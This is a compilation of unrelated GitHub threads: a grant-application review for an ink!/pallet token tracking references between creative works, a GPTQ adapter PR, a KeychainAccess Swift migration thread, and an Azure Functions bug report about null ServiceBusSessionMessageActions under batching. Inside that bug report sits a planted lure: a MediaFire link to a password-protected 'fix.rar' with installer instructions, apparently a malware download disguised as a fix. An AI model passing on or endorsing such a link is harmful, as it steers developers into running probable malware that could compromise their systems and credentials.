[x] I prefer the discussion of this application to be in a private Element/Matrix channel. My username is: @_______

How Did You Hear About our grants program?

[ ] Social Media
[ ] Hackathon
[ ] Personal Recommendation
[ ] Substrate Builders Program
[ ] Investor/VC
[x] Online Search
[ ] Other: _______

Dear @Noc2:
Hello!
Thanks for your kindly review.

We mostly focus on ink! Smart contracts and the development of pallets.
Yes we will develop our project in ink! Smart contracts and pallets.

Apart from this, I don’t understand why you want to develop a new token design as part of your first milestone? Why aren’t you using existing token standards for this?

We think designing a new token standard is needed because no existing token design has such reference function. In existing token, a new token couldn't refer to any old tokens, and share its earnings with all its referred tokens.

The “shares” you own for example is something you can easily track with any token based on the total available supply.

"Shares" mean the proportion of the revenue one could get from the earnings of the token representing the work, just like shares of one company in the stock market. For example if one work worths $10, and one person owns 10% shares of the token of the work, he earns $1.

In general, it would be nice if you could add more information to the milestones and add the headlines as deliverables. For example, “xyz design” is very unspecific and not something we can evaluate.

I have changed the headlines as specific deliverables. Details of the proposal could be discussed and improved after the grant application is approved.

Thanks a lot!

Dear @Noc2:
Hello!
Thanks for your kindly kindly review and golden feedback. I have revised according to your critiques.

However, the milestone table should actually contain the specific deliverables as number 1, 2, 3.. etc. including as many details as possible.
Sorry for ignoring that mistake. I have changed the numbers and added more details to the milestone table.

Also your grant still says “solidity smart contracts”.
I have changed it to !ink on Pallets. We have started learning !ink, and will develop on Pallets after getting the grant.

And in my opinion, you still don’t need to store the ownership/share percentage on-chain with each token. If all tokens are on-chain anyway as well as each interaction, you can calculate the ownership without specifically storing it for each token (and constantly updating it?). So, in my opinion there is a clear reason why no token exists that supports this functionality.
Yes I agree and I have deleted the shares and investment part. Now our proposal more focus on the reference relationship among different works and their revenue distribution, rather than the distribution within each work.

Thanks a lot!
Kindly Regards,
@hoho-yin

Thanks for pinging me. However, regarding the table I was referring to adding the extra deliverables as additional rows with numbers and not changing the default deliverables. See for example https://github.com/w3f/Grants-Program/blob/master/applications/perun_channels.md#milestone-1--setup--core-types--channel-opening

Dear @Noc2:
Thanks for your kindly feedback. I have revised the milestone part based on the example you gave. If any other deliverables are need, feel free to specify and I add them. I have also revised other parts to make my proposal more clear and specific. Thanks a lot and look forward to your response!
Kindly Regards,
Jieliang Yin

Thanks for the update and the additional information. I will mark the application as ready for review, so that others start looking into it as well. But could you explain for example why you need to create the token standard, since you removed the part about “shares”?

Dear @Noc2 :
Hello!
Thanks for your kindly marking, and welcome others to review and give any golden critiques.
Although removing "shares" to not distribute revenue within each work, we think distributing revenue between new work and its referred old works are needed. So token is used to record the reference relationship among different works for the revenue distribution between new work and all its referred works.
Any other questions or feedback, feel free to put forward. Thanks a lot and hope can get your endorsement!
Kindly Regards,
Jieliang Yin

How does this differ from other revenue-sharing systems, e.g. NFTs on RMRK which give a percentage of every sale to the initial creator?

Yes some NFTs allow others to use their work to create new work like Yuga Labs, but such right is limited to only the owner of the NFT. In our system instead everyone can build their new work based on any work no matter who you are, and do whatever changes you want without any limitation as long as referring to the work you based on.
Another difference is that current NFT focuses on the ownership of a digital asset, but in our reference system each token just represents the work nominally, and the token holder just has the shares of the earnings of the work like stocks. You won't have the actual ownership of a company if buying its stocks, just owing it virtually and sharing its dividend. You can also develop and improve the referred work just like shareholders participating in the management of a company.

OK, thank you for the explanation.

In general there is a game theory between new work and the referred old work to make agreement on the final proportion of revenue distribution fairly. If the old work asks too much from the new work, no new work would refer to it, and the old work would get nothing. If the old work earns too little from the new work, it would be unwilling to open and share its work, and the new work would get nothing. Finally they could reach an equilibrium, and we are doing research on how to make such negotiation more automatic, efficient and reliable, which would also be our project outcome.

Also interesting, glad you have thought of this.
I'll be checking the responses to the other requests made by other members of the team on this PR.

pallets

Dear @Noc2
Hello!
Thanks for your kindly review and feedback. We have added specific deliverables of implementation work into Milestone coded via ink! and implemented on Pallets.
Any other questions, feel free to put all of them forward at one time, so you could give your final judgement for our proposal after our final revision. Thanks a lot for your kindly support!
Kindly Regards,
Jieliang Yin

OK, thank you for the explanation.
Also interesting, glad you have thought of this.
I'll be checking the responses to the other requests made by other members of the team on this PR.

Dear @laboon :
Hello!
Thanks for your kindly revision and affirmation. As you have no other questions, could you please make final judgment on our proposal like endorsing our grant application or not? Thanks a lot for your kindly support!
Kindly Regards,
Jieliang Yin

I will not support this project one way or another. I think the downsides of integrating with such a system are larger than the upsides. Also, the technical specification is at times imprecise, at times confusing. This project is like a standardization attempt; to be at least somewhat successful, you will probably have to start with a consortium of big projects on your side.

@semuelle @Noc2
The details of the project will be specified after starting the development and implementation. I couldn't determine them now. It's impractical to ask for concrete details at this point. As for your other opinions, they have no ground to support them. You didn't give any reason for your judgement, so I don't know how to revise accordingly. Due to your unreasonable requirements and illogical judgments, I have to apply for other grants. Thanks a lot!


FYI Warp being considered for Deno executables

https://github.com/denoland/deno/issues/986#issuecomment-628851461

@PhilParisot Our company maintains a fork of this repository. We have created a GitHub Workflow and enabled support for windows-x64. It should be relatively easy adding support for additional platforms. The reason why we forked this repository is that warp is a dependency of snapx. PRs will be reviewed :)


new adapter for GPTQ gpt_bigcode (fused ckpt to unfused model)

This adapter is for GPTQ gpt_bigcode models bringing a checkpoint with fused QKV (such as GPTQ granite-20b-code), in the scenario where an unfused model output is desired.
Following this PR, get_model can be called with source=gptq_hf_fused and unfuse_strategy=pre, to instantiate an unfused model and use this adapter to copy the GPTQ parameters from the fused checkpoint into the unfused model.

@ani300 @JRosenkranz open to suggestions to improve this:
    # derive out_feature from g_idx (instead of passing it to the adapter)
    # TODO: improve this, it may be fragile...
    for hf_name, param in hf_sd.items():
        if "attn.c_attn.g_idx" in hf_name:
            query_out_feat = param.size(0)
            break

To obtain out_features of fused QKV from inside the adapter without passing it as an argument, I get it from the size of the group index g_idx. Should work as long as the naming convention for QKV layer in this particular architecture (gpt_bigcode) is respected, but I wonder if there's a better way

@ani300 @JRosenkranz I forgot to add you guys as reviewers and I am not given the option to do it now...

@ani300 @JRosenkranz open to suggestions to improve this:
    # derive out_feature from g_idx (instead of passing it to the adapter)
    # TODO: improve this, it may be fragile...
    for hf_name, param in hf_sd.items():
        if "attn.c_attn.g_idx" in hf_name:
            query_out_feat = param.size(0)
            break

To obtain out_features of fused QKV from inside the adapter without passing it as an argument, I get it from the size of the group index g_idx. Should work as long as the naming convention for QKV layer in this particular architecture (gpt_bigcode) is respected, but I wonder if there's a better way

We have done this in the past as well. There were talks at one point to additionally add an optional ModelConfig to the adapter, this way we can get the values from that.

We have done this in the past as well. There were talks at one point to additionally add an optional ModelConfig to the adapter (if the model has a config - which all of our models currently do), this way we can get the values from that.

I don't know if it's worth adding an optional ModelConfig to all adapters to support the needs of this single GPTQ one. Admittedly, it's a single adapter just because this unfusion scenario is only supported for gpt_bigcode (for now). Deriving "query output features" will be needed for any future adapter that wants to unfuse QKV.
Would you guys (@JRosenkranz @ani300) be in favor of adding ModelConfig or to keep the patched solution as-is for now?

adapters have been reworked as part of another PR: https://github.com/foundation-model-stack/foundation-model-stack/pull/355
this one can be closed


ServiceBusTrigger - ServiceBusSessionMessageActions is null when IsBatched = true

Description
When using an Azure Function with a Service Bus trigger in .NET 8 isolated mode and with session-enabled batching, the ServiceBusSessionMessageActions parameter is unexpectedly null.
Example:
public async Task Run(
    [ServiceBusTrigger("TopicName",
        "SubscriptionName",
        Connection = "ServiceBusConnection",
        IsSessionsEnabled = true,
        AutoCompleteMessages = false,
        IsBatched = true)]
    ServiceBusReceivedMessage[] messages,
    ServiceBusMessageActions serviceBusMessageActions,
    ServiceBusSessionMessageActions serviceBusSessionMessageActions,
    CancellationToken cancellationToken)
{
    // serviceBusSessionMessageActions is null when triggered
    ...
}

Issue:

When batching is enabled (IsBatched = true) and sessions are also enabled, the serviceBusSessionMessageActions parameter is always null.
However, when batching is disabled (IsBatched = false), the serviceBusSessionMessageActions is properly injected and can be used as expected.

Expected Behavior:
ServiceBusSessionMessageActions should be injected properly even when batching is enabled, allowing session-related actions (e.g., session state management) to be handled within the function.
Actual Behavior:
When IsBatched = true, the serviceBusSessionMessageActions parameter is always null, making it impossible to perform session-related actions in a batched function.
Steps to Reproduce:

Create an Azure Function in .NET 8 isolated mode.
Use a ServiceBusTrigger with the following conditions:

Sessions enabled (IsSessionsEnabled = true).
Batching enabled (IsBatched = true).

Add ServiceBusSessionMessageActions serviceBusSessionMessageActions as a parameter in the function signature.
Trigger the function with session-enabled messages in the Service Bus.
Observe that serviceBusSessionMessageActions is null when the function is invoked.

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

This issue is blocking our migration to the isolated process. Could you please advise on what steps we should take next or if there is a planned fix?

It would be good to get at least some information.


3.0.9 -> 3.2.1 update after. it search very slow tree!!!

ㅜ.ㅜ

Please make sure you are using the search functionality correctly and that you have updated all necessary files (JS and CSS). I can not help you further without a demo.
Best regards,
Ivan


Swift 2.3 / 3 Support

Hi,
I just like to know how your plans are about a Swift 2.3 / Swift 3 compatible version?
Thanks,
Tobi

Hi ,
I am trying to use your swift-3.0 branch but there are still issues. I am using Xcode 8 GMSeed and my podfile is like
pod 'KeychainAccess', git: 'git@github.com:kishikawakatsumi/KeychainAccess.git', branch: 'swift-3.0'
Event after using this, when I try to open my app it ask to convert this project to Swift 3.0, and it shows a diff for Keychain.swift file. Even if I merge suggested changes there is still error in project.
Please understand I am using this library from sometime and it's very critical for my project . Let me know if I am doing naything wrong, or there are any plans to fix this.

I just checked out the 2.3 branch and tried the example. There is a strange behavior (which lets the example app crash) where the IBAction from the InputViewController is called cancelAction(sender: AnyObject) but in the storyboard it is listed as cancelActionWithSender:
This seems odd to me because actually Xcode or the Interface Builder should handle it like in Swift 2 and use the name cancelAction: in the storyboard.
Are you having this issue as well?

Btw, when I open the workspace (Swift 2.3 or 3 branch) Xcode shows me a warning that the project settings are not up-to-date.

@twiedow Use swift-2.3 or swift-3.0 branch.

Update:
v2.4.x is for Swift 2.3, v3.x is for Swift 3
https://github.com/kishikawakatsumi/KeychainAccess#requirements